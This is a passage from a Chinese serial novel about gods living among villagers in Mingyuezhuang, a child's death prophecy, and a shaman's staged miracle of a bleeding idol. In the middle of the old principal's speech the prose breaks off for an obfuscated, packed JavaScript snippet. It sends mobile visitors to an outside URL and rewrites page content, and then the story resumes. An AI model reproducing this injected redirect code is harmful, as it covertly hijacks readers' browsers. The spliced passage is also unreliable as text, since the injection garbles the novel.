墙上的孩子睁开了眼,仍然故作矜持地望着天空说道:“春生老师,难为你还能想到我。” “像你这么独特的学生,我当然时刻记得了。” 随着阉鸡扑腾翅膀跃上围墙,小白菜也坐起来,他伸手去接李春生手里用油纸包好的糕点,是他在家里没有尝过的东西。 “你还在发烧吗?”李春生问道。墙上的孩子用他苍白的嘴唇和通红的脸颊告诉他是的,只不过太阳已经将他整个人都晒得发烫,高烧也相形见绌。 “你看,春生老师,一山更比一山高,总有人想要站到我头上。” “你指谁?” “我没有指谁,我认为明月庄的所有人都是这么想的,最典型和最迫切的就是我的妈妈万金花。你看,她现在就假意称病,不知道在准备什么坏事呢,而且我知道,这坏事一定是冲我来的。” 母子之间的矛盾是李春生引导小白菜的有力工具,他顺着说下去:“那看来你的母亲没有拒绝你说的斗法。” 小白菜的眼睛登时亮起来,他扭过身子往前倾,盯着李春生的眼睛仿佛下一秒就要张开血红的嘴把他吞掉。李春生给出的答复是:“她嘴上不说,但行动已经证明了这一点。小白菜,你当局者迷,但我很清楚,属于你的天平一端,正逐渐压过你的母亲。你冉冉升起,她却日薄西山,当然会抓住一切机会来驳倒你。” 在短暂的沉默之后,小白菜倾倒身子去抱住身旁打盹的阉鸡,“嘿嘿嘿嘿嘿嘿……春生老师,难道你今天就是专程来拍我马屁的吗?” “当然不是。”李春生上前一步扶住围墙,仰起头露出脖颈与皮肤下的血管,“你想赢吗?” “春生老师,自古以来,不想赢的都是窝囊废,我可不是宋朝皇帝,我当然想赢了。”他说这话的时候不知是吃了糕点的缘故,还是看到了什么可口诱人的东西,竟控制不住地从嘴边淌下口水。 李春生想听的就是这个回答,他露出更加欣喜的表情对小白菜说:“那你就更得好好寻找纵火的真凶了。” “哼,春生老师,你以为我上墙生活真是发了什么疯吗?在这个地方,我才能好好看清他们的脸,才能透过他们的眼和心,以便找到那个纵火犯!” “老师有些别的想法,能让你赢得更漂亮。” “哦?你有什么想法,不妨说来我听听。” 这一刻,师生二人的身份似乎倒转,“小白菜,我知道你立下了瘸子李观水将死的预言,但这预言除我以外,只有你自己和万金花两个人知道。你若是想要风光无限地赢下这场斗法,就该让它在明月庄人尽皆知。一来,预言在所有人的见证下实现,你就顺理成章成了明月庄的先知,二来,当事人知晓自己将死却依然无法逃脱命运,也就更加证明了你的预言无法违抗,三来,你可以想一想你的母亲万金花正在盘算的事情,不管是什么,她一定会大张旗鼓,让所有人都了解她的经历,到时候她在明处你却在暗处,你要是还纠结于预言是你们母子二人的私密赌注,就有点得不偿失了。” 小白菜听得眼睛咕噜咕噜地转,他不断抚摸阉鸡身上柔顺的羽毛,发出咯咯的笑声。随后又问道:“那么,春生老师,看来你有办法保证我的预言万无一失咯?” “难道你不是相信自己万无一失,才作出预言的吗?” “哈哈哈哈哈——”小白菜把怀里的阉鸡抡圆了像铅球一样扔飞,“春生老师,我果然没有看错你哈哈哈哈!不过……”他调整了坐姿,用打坐似的姿势对着李春生垂目道:“春生老师,那么你今天来为我建言献策,是想要从我这里得到什么呢?” “我不必从你这里得到什么。”李春生摇了摇头,“小白菜,我是你的老师,托举你的理想,是我的分内之事。” “春生老师。”小白菜饶有兴味地托着脑袋说道:“你可真高尚啊。”他看到围墙下历史老师的脸庞,在阳光的温度下也泛起丝绒般的红。 30.旅者与悲歌 孟柳在河边孤独的房屋里支起一口孤独的汤锅,她的手头却没有合适的用来煲汤的食材,不过她从来也不在乎吃食的合理搭配,只把桌子底下元宝篮里头还有的土豆,菜叶子,鸡蛋都放到锅里去加水炖煮,熟了就算是今天的一顿饭。她确信用于给神婆子纹身的红墨水已经在河道里处理干净,在这明月庄最下游的地方,这是她能想到的最安全的处理方式。 孟柳把土豆皮和鸡蛋壳一把抓了走到门外一扔,数日后它们就会成为河边灌木的养料。等她转身回到屋内,就看到自己的硬板床上坐着一个面生的年轻女人——慧慧。孟柳纳闷她是怎么悄无声息地进来的,慧慧就先问道:“柳姑娘,你还给人刺青吗?” 原来是找上门的客人,不过这无法打消孟柳的顾虑。她没有见过慧慧,事实上明月庄的大部分人都没有与她打过照面,很多人都不知道庄子里还有这么一位纹身师傅的存在。 “你这个年纪,知道我的不多。”孟柳说道。 慧慧歪头笑笑,说道:“那是因为他们的眼睛大多不如我的雪亮。” 孟柳听了高兴,便问慧慧要做什么图案的刺青。我的这位同事就将床上的位置让出来,和孟柳隔着一口汤锅面对面坐,天阴着,屋里关了门就灰蒙蒙的一片,慧慧对着孟柳指向自己的右边上臂说:“那就在这里,纹一个红色的虎头吧。” 锅里翻动的汤勺停了,孟柳吓了一跳,她想着自己当年的事情应当只有自己知道才对。眼前的这个女子在那个时候应该还没有出生,这是巧合还是别的什么,孟柳不敢想下去。她的反应也在慧慧意料之中,她更进一步,打消了巧合的可能性,“你的孩子找到了吗?”同时她紧紧扼住孟柳的手腕,让她无法从椅子上挣脱。 汤锅里逐渐升腾起热气,灰蒙蒙的景象现在增添了一层白雾。孟柳不是喜欢一惊一乍的人,她在白雾中问慧慧:“你怎么会知道?” “我说了呀,我有一双比其他人更雪亮的眼睛。” 一个狡猾的回答,既不正面回应又不给人接话的余地。很快她又释放出善意,“柳姑娘,我不是要来找你麻烦的。” “一般会这么说的都挺麻烦。”孟柳说。 她们的谈话已然到了开门见山的地步,不必再遮遮掩掩了。虽然算不上愉快,但慧慧是喜欢和这样的人打交道的,不用演戏,也不用假惺惺地奉承,这让她感到舒适。 “那我直说了。柳姑娘,前两天,万婆子是不是来过你这里?” 孟柳显然对万金花的名字有所防备,她说:“万婆子哪儿都去,不会缺我这儿一个。” “柳姑娘,咱们就不必拐弯抹角了吧,万婆子找你做刺青是为了什么?她纹的是什么内容?” 孟柳听了却闭紧了嘴拒绝回答,任凭汤锅中的热气蹿上来炙烤着她们的皮肤。慧慧松开了手,转而用勺子去搅拌锅里的浓汤,“把火关了吧,再煮下去就不好吃了。” 我认为这锅东西本来也好吃不到哪儿去,但慧慧说的也没错,继续炖煮只会让口感雪上加霜。孟柳熄灭了火,靠着椅背上叹气,“她没来,你看错了。”热气把她的脸庞遮掩得更模糊了。 慧慧转变了角度,“好吧。那我换个问题,上一个来找你纹身的客人,她支付给你的酬劳是什么?”当然不会是金钱,否则孟柳不必在上一个问题如此纠结。没等孟柳开口说什么,慧慧又追问了一句,“是不是和你的孩子有关?” 孟柳点了点头,“她找着了,她说她找着我的孩子了。” 慧慧问她:“你不怕这人骗你?”孟柳的回答异常坚定,“她骗不了我的。”从成为母亲到丧子再到如今的几十年时间里,孟柳始终坚信自己的孩子会在轮回转世中回到自己身边,她们相认的证据就是当时她亲手刺下的虎头纹身。这是年轻时候的她自己,和当时的神婆子一起编织的美梦,孟柳尚未醒来。 慧慧看了看屋内的陈设,并未发现有任何孩童生活在此的痕迹,“那我怎么没看到孩子?” “她说现在还不是时候,等她高兴了,就会把他给我的。” 说到这里,慧慧对这件事已经基本了然,但她还是多问了一句,“什么时候才算高兴?” 孟柳冷笑了一声说:“我不知道,小姑娘,我不知道。”汤锅里的土豆糊糊传来似有若无的焦味,大概已经粘锅底了,柳姑娘把两条腿一伸,颇有些恳求意味地问慧慧:“你知道我的孩子在哪里吗?” 慧慧告诉她:“我和你的回答一样,我不知道。” “那我就没什么好说的了,姑娘,你可以回去了,我以后都不给人做了。” “你就不怕我说出去,给你和那位客人捅个大篓子?” “会这么问的都不会说出去。” 在慧慧和孟柳交手的那天半夜,万金花越过围墙上熟睡的小白菜,在微弱月光的照耀下来到登临塔重建的现场,她的丈夫李得彩从基座落成的那一天开始就整日整夜地待在这里。李得彩背靠着神像插着手睡着,朦朦胧胧地就被万金花推醒,“等会儿再睡!”万金花适时递来一杯泡好的茶水,这是她从家里一路端来的,以迎合李得彩每天醒来都要先喝上一杯浓茶的习惯。 “李得彩,我觉着差不多了,你该帮我想想办法。”万金花手指着高出的神像面部说:“得让他们觉得,天师有话要说。” 李得彩咽下一口茶去,倏地皱眉吐了些茶叶出来,“渣子真多,不好喝。哪儿来的,我没买过这样的茶。” “庄子里人送的,我又分不清,随便拿了就泡给你,你还挑上了。”他们不知道,瘸子送来的这罐茶叶里头混着李有福指甲磨成的粉。这也是瘸子惩治李得彩的一部分,吃下死人的指甲盖,人的生魂就会被死人慢慢拖走,变成一具没有精气神的空壳。这同样是来源不明的谣言,只服务于认为它有用的人群。 万金花在黑暗中白了李得彩一眼,“知道了没啊,这两天就该弄些动静出来了。” “我没办法。”李得彩说道。 万金花听了心头冒火,“你就不能多想想?手上功夫每天在这里从鸟叫做到鬼叫,怎么脑子就一点儿没动过?我就该用刻刀给你脑子开个花刀!” 李得彩从来都是拗不过万金花的,他只能说:“我知道的都是些老把戏。” “老把戏也好,新玩意儿也行,我只看结果不问过程。你是知道我背上现在有什么的,我不管你用什么办法,只要让他们相信,神像显灵,天师有话要说,而关键的一句就在我身上,剩下的就看我神婆子的无上神通了。”万金花握住了李得彩捧杯子的手,凑到丈夫的身边耳语道:“李得彩,你别忘了,咱们是杀人的共犯,谁都不可信,只有咱们彼此才最可靠。” 最终,李得彩还是答应了万金花的要求,他们蜷缩在高台的阴影里,在月光不可及之处,做了两只相依为命的老鼠。 几个小时后,我面对桌上的一盆冰块,生平第一次感到夏季的短促。过去它和水田里的白鹭一起出现,伴随冗长的午后成为一个难熬的季节,而现在,在明月庄隐隐不绝的号子声当中,它成了眼前的冰块,在空气中以肉眼可见的速度消解着。 小卖店里彩票开奖的消息使我开始怀疑现存轮回投胎这套规则的严谨性,在数千年的时间里我都二话不说地维护着它,但意识到它同样带来了不公以后,不安和焦虑就成了我耳朵边的蚊子,吵得人心烦。 一般这种时候,我就想要吃冰块。我走上前去,把手伸进冰里。水改变了形态,也就无法将我的手掌完全包裹,即便接触到我这样没有生气的体温,冰块的棱角也变得湿润。透过缝隙,我抚摸盆中每一块冰的轮廓,它们发出冰糖落入白瓷碗中的声响,直到盆底积蓄起一层清水。我从中拿起一块举到额头的位置,这透明的立方体将面前的景象变得扭曲,如果控制好冰块的位置,将整个明月庄都装下似乎也是可能的。 水顺着我的胳膊流下来了,我把冰块放进嘴里。咀嚼冰块对我来说起着安慰剂的作用,这些小小的立方体和我们的存在一样脆弱,咬碎它发出的咔啦声令我想到镜子的碎裂,而这正是冰块的特殊之处——镜片无法再被还原,冰块则是水的另一种形态,破碎只是向水转化的过程,同样的,水也可以重建为固态的冰。李有福的死像是没拆干净的标签硬梗戳在心头,与尘世疏离并没有让我觉得轻松,反倒加剧了不安。 我往嘴里放入第三块冰的时候,听到李春生在门口说:“你怎么了?” 我招招手示意他过来,打算把那天在镇上买的东西给他,“手。” 李春生抬起了右手。 “另一只。” 我把一只紫檀手串套在李春生的手腕上。他没有立刻对这只手串发表什么意见,而是说:“你的手好凉。” “我一直都这样。” 他仔细端详了一会儿,问我:“花了多少钱?” “二十。”我说。 “那好像被骗了。” 难怪那个店老板笑得如此不怀好意。不过现在说这个也为时已晚,我也懒得再去追究。回到他刚刚的问题上来,我说:“我觉着不对。” 我听见李春生松了口气,好像对我的回答感到很欣慰似的,“哪里不对?” “规则。恶人死了去受苦,但来世的苦没法弥补今生的错。他要是杀了人,在受苦也换不来一条命了。”李有福的笑脸又浮现在我的眼前,我再次放了一块冰到嘴里。 李春生说:“你终于开始关心人了。”他看向我的时候眼神里分明带着愉悦,好像对这一刻感到惊喜,“你说的不错,这世上的遗憾大都是来不及。可惜我们都没有足够的权力去改变规则。” “那又是没办法的事了。”放弃并不难,我只是有些不甘,要是明知道无能为力,我宁愿从来没有意识到规则的缺陷。 “也不是没有办法的。”李春生说着,才终于把他盘算了许久的事告诉我:“你要是成为此地的正神,就可以更改规则了。” “我?” 他口中的“此地”,并不单单指明月庄,而是以这里为中心,向外辐射八百里的一整个地区。我隐约知道他和我还有慧慧这样的,虽然手上有点权力,也只是一方偏神而已。而所谓正神呢,我没有了解过,也不甚在乎,按照寻常思维推论,也就是权能范围更广,地位更高一点吧。可是李春生为什么会这样想呢? 他说:“你很合适。我决定成为李春生的时候就这么想了,慧慧也知道,只是一直没告诉你,不知道你是否愿意。” “我要是说不愿意,就可以不做吗?” 他也把手伸进冰块当中,这一盆已经化了一半多,没剩下几块成形的了,“能啊。你要成为正神,就要从人间八苦中安然脱身,并仍能关怀人的生活。你不想做,只要不再做李月来就行了。我觉得你可以胜任,所以一直避免你涉事太深,只在岸上做个看客就好。” “李春生,我觉得你说的不对。” “哪一句?” “你不希望我涉及太深,而是做一个事外的旁观者。可是若我不下水,就永远都不会水,我若始终不去体会人间,又怎么理解死,怎么全身而退呢?”我埋葬了李有福的尸身,而他头颅的重量还压在我的胳膊上,在这一点上我和李春生产生了分歧。在捡拾李有福身躯的那个夜晚,我忽然明白要想在人世的黏着中自由来去,正确的做法不是远离,而是贴近,也就是孟明达曾说的“体验”。我未经苦旅,还做什么引路人。 我告诉他:“在此之前我也算不上关心人,我觉得那都没有意义。是因为李有福,我才觉得月儒说的不公是真的,才会想着有没有改变它的可能。” 李春生忽然看着我问道:“那你愿意为了这个可能性去成为正神吗?”他的眼睛已经很久没有这样的光彩了。 我说不上不愿意,也说不上愿意,这种事对我来说无论如何都没有太大差别。做到了我也不会多兴奋,做不到也只是叹口气罢了,至于名为正神的位置,就更是无所谓的东西。很久以后我再回想起这段对话,才发现我连“安然脱身”的标准是什么都没有兴趣去问一问,或许正是因为这一点,才让我成了合适的人选吧。 “嗯。”我简短地回应道。 “这是什么意思?” “你觉得合适就行吧,我无所谓。”我端走了装冰块的搪瓷盆,迫使李春生把手从中抽离,“这太凉,你别碰了。” 我们就这样平静地规划好了我的未来,两个人并排站在水槽边看着冰块继续融化,李春生好像在等我说些什么,但最终也没有等到。 “我要去帮老校长摘荷花。”他说。 在李春生踏出房门之前我问他:“一会儿吃什么?” 他从天色粗略判断了距离晚饭的时长,然后答道:“煮面吧。哦,慧慧说想吃拍黄瓜。” 我知道在明月庄远离人烟的深处,有一片茂盛的荷花池,无人刻意打理却每年都开得热烈。荷花生长的地方也曾是水稻田,不知哪年开始就荒废了,野荷花的种子在水渠里借着明月庄丰沛的降水成为了稻田的新主人,并在几年后开枝散叶,莽撞地占领了整片水田。 李春生遥望着天边如同肉冻般厚实浓稠的晚霞,怀中抱着五支连梗的荷花,有一枝开了一半,其余四枝都还是花苞的样子。这些天然生长的荷叶一律长到了胸口的位置,李春生在一片碧绿的簇拥下站着,看到落日就想到高邮的咸鸭蛋,不一会儿,蛋黄四周的红油也染上他的肩膀了。 “春生啊。”坐在田埂上的老校长呼唤他的名字,“够了,够了,你快上来吧,别着凉。” 荷花池的水在八月的天气实在算不上凉,它轻抚着李春生的膝盖,除了凉意更多的是隐约的酥痒。李春生隔着两三米的距离对老校长说:“不碍事,我再给您找一枝。” 老校长也不劝了,她花白的头发梳得整齐,衣裳没有一丝皱痕,这位体面又倔强的女士对着青年教师的背影说道:“春生,你今年多大了?” 李春生回过头来,“二十七,校长。” 老校长听了咯咯地笑,“我二十七的时候,就已经是中学的校长了。你看我这几十年,原地踏步啊。” 像是猜到了老校长要说什么似的,李春生回答道:“您这不是原地踏步,是初心如磐,慎终如始。” 我常认为这世界的运作是不讲情面的,李春生却不这么觉得,他说这世界的底色精彩而有趣,让人忍不住对它倾注更多的爱。他说这话的时候就像一个懵懂的幼童,品尝着世界赠予他的无数可能。我想李春生理想主义的悲剧症结就在于此,只要有利益,乌托邦就是不存在的。可是老校长的出现映证了一个事实,神明在宏观层面上做不到的事情,微观的角度上,人力或许可以企及。在中学每一个轻松自在的午后,我们都看见了李春生理想中的那个明月庄。 老校长收起了笑容,更加庄重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096353|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对李春生说:“春生,我年纪大了,恐怕做不动了。但明月庄总有要上学念书的孩子,以后得仰仗你和小季了。” 李春生摘下第六枝花,这一枝同样开了一半,颜色是其中最粉嫩的。他看着老校长,夕阳在身后被遮住了半个轮廓,“校长,我不能。” “为什么?你还这么年轻,能力又好。” “校长。”说谎不是李春生的特长,他有些庆幸自己站在背光的位置,多少能够掩饰自己的脸色,“我明年就要走啦。” “去哪儿啊?” “去外面,我把你们也带过去,我们都不留在这儿了。” “你要怎么带我们……” “校长。”李春生打断了她的话,“我想我们的中学,应该走上新的路了,明月庄不是合适的地方,你和其他的老师们,还有学生们,别留在这里了,去外面的广阔天地吧。” “春生……” “校长,我能做的不多,但我保证带你们打开那扇门,剩下的……”他险些就要说出“靠你们自己走”这样的话来,想了想还是改变了说辞,“剩下的我们一起走。” 老校长的话被突如其来的敲锣声冲得粉碎,那天很晚的时候我们才知道,李春生在荷花池里听到的,实际上是小白菜敲击一个铁盆发出的当当声。没有人知道为什么那声音能够穿过几乎整个明月庄来到李春生的耳朵里,还变异为铜钟般沉闷的声响。 小白菜在围墙上生活的决定没有得到家里人的实际认可,万金花和李得彩都有自己不可割舍的使命,并且始终将其看做六岁孩子心血来潮的玩笑,不加理会几日后他就自然会下来。银铃儿发誓与这个弟弟不共戴天,只有金铃儿为他准备了一个铁盆,用网兜和麻绳绑着,到了吃饭时间就把饭菜和饮水放到盆里,让他自己拽着绳子吊上去。 现在,这铁盆被小白菜开发出了新的用途。他先是使唤阉鸡去寻来一根笔直又坚硬的树枝,经由鸡喙转移到墙边的铁盆里,由此它们得以成为小白菜的演奏工具,在围墙上吸引了明月庄所有人的目光。 巴掌宽的墙垣成了小白菜脚下的平衡木,他提着盆沿在墙上踢腿行走,阉鸡窝在中间的位置,小白菜路过的时候就从阉鸡的头顶跨过去。 当!树枝敲响铁盆,当做演奏开始的号角,小白菜的口中不断呼唤着瘸子的名字,他的声音乘着傍晚的风传到四面八方人们的耳朵里。不一会儿,不论是田里的,塔边的,屋里的,树上的,全都循着声音的线索来作演出的观众。他们在门前聚拢成长长的一支队伍,白鹅一样伸着脖颈准备在第一时间聆听小白菜的指示。 当!当!当!墙上的演奏家对观众的规模感到满意,他瞥了一眼就锁定了瘸子的位置,呼喝众人道:“让瘸子到中间来!让瘸子到中间来!” 演出的主角就被观众们七手八脚地推到了中央最显眼的位置,人们甚至自觉地往后推开一步,为瘸子的舞台留好位置。他的身上仍然穿着那件的确良衬衫,下摆被他穿得皱巴巴的,已然不像是一件新衣服了。 当!当!当!小白菜手里的树枝好似权杖,笔直地指向瘸子的额头,他同时用富有韵律的语调唱道:“呜呼哀哉!呜呼哀哉!昔有仓颉始造字,天雨粟来鬼夜哭,而今诸事多循古,独我仙童知灵异。”当!当!当!“跛足汉名李观水,草芥微命不久矣,个中缘由承天命,不可说来不可闻,唯我仙童通神言,便把命数一一报。” 当!人们从这一声中回过神来,对小白菜唱的歌谣议论纷纷。墙上的孩子则大方地做出解释:“各位,各位,你们都知道我小白菜曾在河边受辱,现在成了和我□□的阉鸡一样残缺的人物。你们当中也不乏从心底里轻蔑我的人。但我今天要不计前嫌地告诉各位,此前的受辱不过是我向着仙家更进一步所支付的酬劳,我失去了□□碍事的玩意儿,便获得了通达天意的才能。我呀,现在是通晓命运走向的先知啦嘿嘿嘿嘿嘿……而我今天公开宣布的第一个预言,就是他,瘸子,李观水,这个可怜人的性命,在登临塔建成之前就要走到头啦!” 瘸子听了捂着右腿跳起来,那条瘸腿的绷带下面还覆盖着李有福膝盖骨磨成的粉末,“你胡说!你没有证据!人怎么可能说死就死了!” “哦?”小白菜在众人仰望的目光中垂下眼皮,“你是在质疑我的预言不灵吗?可是我告诉你,这都是吉祥天师掌握的人间生死命数,看来你是在质疑天师说话不灵咯?” 瘸子被扣上一顶不敬仙神的大帽子,他更加气急败坏地吼道:“白菜!你不要血口喷人!我拜天师不比你们家少,我虽穷但我的上供一样不落,大家都是全心全意供奉天师的子民,你是长翅膀的仙童,我就是跛脚的瘸子,可是我也见过天师的尊容,我的命不是你一张嘴说了就算的!” 人们都为瘸子说出的事情感到惊讶和半信半疑,小白菜率先开了口,他没有追究瘸子面见了天师的经历,而是正义凛然地说:“今日记上一笔,瘸腿的李观水对先知小白菜不敬。各位都做个见证,看日后我这个先知的预言灵不灵验嘿嘿嘿嘿嘿……”他再次敲响铁盆,围墙上当当当的声响把瘸子十指抓挠墙体的声音都盖过,并将昔有仓颉始造字,天雨粟来鬼夜哭……的唱段不厌其烦地重复。 也许小白菜真的是个听老师话的好学生,他第三遍唱到“个中缘由承天命,不可说来不可闻”的时候,李春生就踏着铁盆模拟的鼓点回来了。慧慧正在饭桌上向我手舞足蹈地描述她与孟柳交谈的细节,并分析道:“万金花必然要用这纹身来掀起些风浪,她甚至放弃了用颜料或墨水画上去,而是纹在身上,那她想要依靠纹身来达成的事,必然是一劳永逸,不可置疑的。”而现在令万金花辗转反侧的只有一件事——从小白菜手里夺回自己在明月庄的绝对地位。 慧慧刚说完,李春生就推开了虚掩着的门,我给他准备好的晚餐还没有端上桌,就看到他径直走向了酒柜,从深处取出一瓶“红梅落”就打开盖子要往嘴里灌。 “那个太烈了,你喝不了。”我连忙阻止,可他只是很快地瞥了一眼,从喉咙里发出一声“嗯”,就拎着瓶口把整瓶烈酒往胃里倒。 他是真的喝不了这个,喝下一小半时就不得不停下来撑着水槽咳嗽,我和慧慧一边一个想要他停下,却听见李春生冷冰冰地声音说:“别管。我要推一把。” 他最终饮下了全部的“红梅落”,就连我也没有一次喝完过这么多。我看着他不断地干呕和咳嗽,连说话的间隙也没有,直到从他的口腔中淌出暗红的血流,滴答滴答,在水槽中点了数朵红梅。 慧慧掰过李春生的脸,焦急地质问他:“是万金花?还是小白菜?” 李春生面对她竟露出一个释怀的笑来,从腹腔中上涌而来的血让他的牙齿也染上了骇人的红色。 “说话呀!” “万……” 水泥砌成的围墙上,小白菜的歌谣还没有结束,瘸子坐在地上痛骂每一个曾对他另眼看待的人,他的心脏因为小白菜的预言而狂跳不止,想到梦中吉祥天师对自己的承诺又迫使自己摆出泰然自若的姿态。 这时候有人跑来大喊:“天师庙!庙里的神像口中在流血!” 这消息的传播速度比小白菜的歌谣快上百倍,登临塔上万金花用胳膊肘捅了捅李得彩,颇为欣慰地说:“可以嘛你,手脚还挺利索。” 可是下一秒,李得彩就颤抖着身子说道:“不是我,这不是我做的啊。” 31.残诗 如果要统计整个明月庄拥有的图书数量,哪怕称不上浩如烟海,恐怕也配得上汗牛充栋一词。可惜这已经成为烟云般的历史,随风一起消散了。从万金花这里往前数上十二代,经过神婆子兢兢业业的改造,只剩下一本《明月庄千年万代引》从时间中幸存下来。外人基本是没有听说过这本书的,就连我、慧慧还有李春生也不知道此书中那些故事的来历,它忽然出现,又忽然地就成为了明月庄的精神之书,没有哪个明月庄的人敢明目张胆地说自己不曾读过这本书的内容。 要我说,《千年万代引》的内容半真半假,编撰它的作者应当是幻想文学的好手。不过对于明月庄来说,幻想也好,写实也罢,都是微不足道的附加价值,一部书只要“有用”就好,而“有用”正是《千年万代引》最显著的优点。 比如在人们惊慌失措地发现东天师庙中神像嘴部溢出鲜血的时候,此书就是最便捷的导师。一个戴着眼镜中指生了茧的瘦男人说:“口中含血是有话难言。”他精准地说出了《千年万代引》当中的话,让骚乱的人群稍稍安静下来。 不过记载归记载,这书上的描述从没有人真正见过,天师神像口中的血液顺着塑像的形状纹理一直流淌到供桌上时,人们还是急切地寻求一个解释。那围墙上的孩子松开了手里的铁盆,它哐啷一声就掉到地上,倒霉的阉鸡被扣在盆底,又把铁盆扑棱得直响。 一个年龄大些的显然对小白菜的年龄和阅历没有底气,于是连忙大喊道:“快去请万婆子!” 小白菜站在墙上并为表现出愤怒,他反而对此感到兴奋,“嘿嘿嘿嘿……妈妈,我就知道你是坐不住的,你看,你的嘴上不承认,行为却实实在在地证明,你想要在此次斗法中压我一头嘿嘿嘿嘿嘿……看来春生老师说得不错,你果然答应了我的请求。”他低头去寻找刚才的主角李观水,却发现他早已扶着右腿一深一浅地走远了。瘸子必定不是逃跑,慧慧可以百分之百地肯定这件事,人的本性与天赋都在文慧菩萨的眼里暴露无遗,她知道这个瘸子残疾的身体下有的是一颗争强好胜的心。小白菜似乎也明白这一点似的,别开脑袋不再理会瘸子,他安静地坐下来,在这个绝佳的观景位置准备欣赏万金花的演出,口中还喃喃道:“妈妈,我要承认,你的手段挺高明,比这里大多数的蠢货要好得多,但可惜还是瞒不过我的眼睛,我知道这些都是鬼把戏,嘿嘿嘿……” 什么鬼把戏呢?“始作俑者”都不清楚神像口中的血是怎么来的。李得彩背靠着登临塔中央硕大的未完工的神像缓缓滑到地上,连古巴烟斗也忘了抽。他的反应使万金花怔愣了一会儿,这是她没有料想到的,但事已至此,神婆子才不会坐以待毙。 迷茫的人们涌来了,万金花告诉李得彩:“你他妈从现在开始就做个勤勤恳恳的哑巴,别忘了以前的事,说出一个字儿来坏了我的好事,咱俩就都别活。”她给了丈夫一记响亮的耳光后,就从神像后面现身,聆听人们的报信。 “万婆子!万婆子!快去庙里!天师的嘴里在流血!” 从登临塔到天师庙的数百米距离,万金花感到自己的双脚都没有沾到地面,她几乎是被人们架着抬到了庙里。她虽然对即将见到的景象有所准备,亲眼所见的时候还是心里一惊:血从土塑的神像口中源源不断地渗出,一直流淌到天师庙的大门口成为束缚他的红丝线。有几个胆小已经在门外跪成了一片。 那个戴眼镜的男人对万金花说:“万婆子,我对《千年万代引》的高深内容也是一知半解,光知道神像口中流血是有话难言,但也说不出更多的东西来了,你懂的多,还是得找你来看看,这是怎么回事儿。” 神婆子撸起袖子走到前头,她装模作样地围绕神像检查了一番,顺手供上三支香以后就叉着腰回过身来,脸上全无惧色,“你们是否知道,为何这口中血预示着有话难言?” 人们面面相觑,都对这个问题一无所知。 神婆子继续放大她的声音道:“那我今天就来给各位讲讲来龙去脉,你们都要听好了!”她和小白菜一样盘腿在中央坐下,脊背挺得笔直,“这还与我们众所周知的先贤李哲有关,当年他在朝廷上做了大官,两袖清风心系黎民,他一身正气,直言进谏,却也因此受人嫉恨,无辜蒙冤。李哲在牢里受了天大的屈辱,那贼人与狱卒勾结串通,害得他喉中出血不能言语,妄想用这方式使他妥协就范。可是我们这位刚正不阿的先祖可不是孬种,他用指头蘸了自己的喉中血,将证词一字不改地书写在牢狱的墙壁上!他也最终因做出这举动的决心赢得了当朝皇帝的信任,给自己挣回了一个清白的名声!” 故事讲完,她重新转移到人群中,压低了声音在人们的簇拥下轻声说道:“李哲如此,吉祥天师也是如此,这不是什么不祥,而是一个预告。你们都好好地看顾自己家的门墙,天师要说的话必定要在上面显现的!” 神婆子的话语有如安定剂,让刚才还慌乱的人群安静下来,此刻,他们都已经沉浸在发现自家门墙上刻画了仙家之言的美好想象中了。 按照万金花原本的计划,李得彩应当在夜色的掩护下将她拟好的诗句偷偷写到某户人家的墙上,这位塑像师傅常年紧盯着脚跟前的黄土,视力却是一等一的好,他不打灯在夜晚的田埂上行走也是如履平地。可是李得彩在耳闻了神像口中流血的事之后就好似被精怪抽干了魂,他忠实地践行万金花的警告,做了一个只知道雕刻与彩绘的哑巴。 “没用的东西,你爹真是没说错。”万金花撂下这句后就决定亲身上阵,在过去的数十年间她已经熟练掌握了明月庄每一户人家的入睡和晨起时间,现在唯一的变数,只有她爬上围墙不愿下来的儿子小白菜。 为了避免与小白菜接触而导致的计划落空,万金花抛下家中的一切,包括她的两个女儿金铃儿和银铃儿,搬去了未完成的登临塔当中与李得彩一起暂住。她首先选择就是一个与小白菜的围墙隔了三层房屋的地方,在周围所有灯光都熄灭之后,万金花借着月亮渺茫的光晕,和一支只有指头大小的袖珍手电射出的红豆大小的光,在凹凸不平的水泥墙面上用红色的颜料写下“社前灶火映长夜,金银百代遗此身”,第一阶段的工作就此完成。 神婆子如愿地在第二天清晨等来了那户人家的报告,她当即宣布:这便是吉祥天师降下的第一句神言,显然这是一首七言律诗的一部分,剩下的几句一定会在近期陆续出现。 银铃儿在避难所的椅子里窝着,针对这两句诗发表了评价,“这不合平仄!”金铃儿听了问她:“那你的想法是什么呢?” 银铃儿把辫子拿在手里慢慢地捻,“我觉得他们好笑,这明显就是人写上去的装神弄鬼的东西。这要真是吉祥天师说的话,怎么会连平仄都合不上?我可不相信他老人家作不出一首合韵律的诗来。” 季青山在一旁附和:“是嘞,这是旧书摊子的老板都知道的事儿。” “你去过旧书摊?”金铃儿问道,她一整天都坐在窗边思索着什么事情,现在终于开了口。 “去过,没买过,我没钱。”季青山说着就低下了头,这个少年身上洋溢的野性常常让人忘记他也正在求知欲旺盛的年纪,“我跟老板聊天,他高兴了就让我翻翻。”他颇为不好意思地提起自己过往的经历,对着金铃儿露出的微笑也像是野猫一般眨眼间就消失了。 “明月庄会发生很可怕的事吗?”有个女学生开了口,“可怕到,我们原来的生活都会失去?你们不害怕吗?” 季青山说:“我已经失去过两次了,没什么好怕的。” 银铃儿在椅子上举起手来回答:“我有我姐就不怕,你们有我就不用怕!” 只有金铃儿坐在窗边没有很快回答她,小小的房间里大家也都默契地在沉默中等待,阳光把金铃儿的脸晒得微微发红,皮肤上的绒毛也在光照下看得明显,它们一动不动,昭示着这幅身体的主人正在思绪中徜徉。许久,金铃儿才转过身来开口说道:“我们原有的,不能称之为生活。” 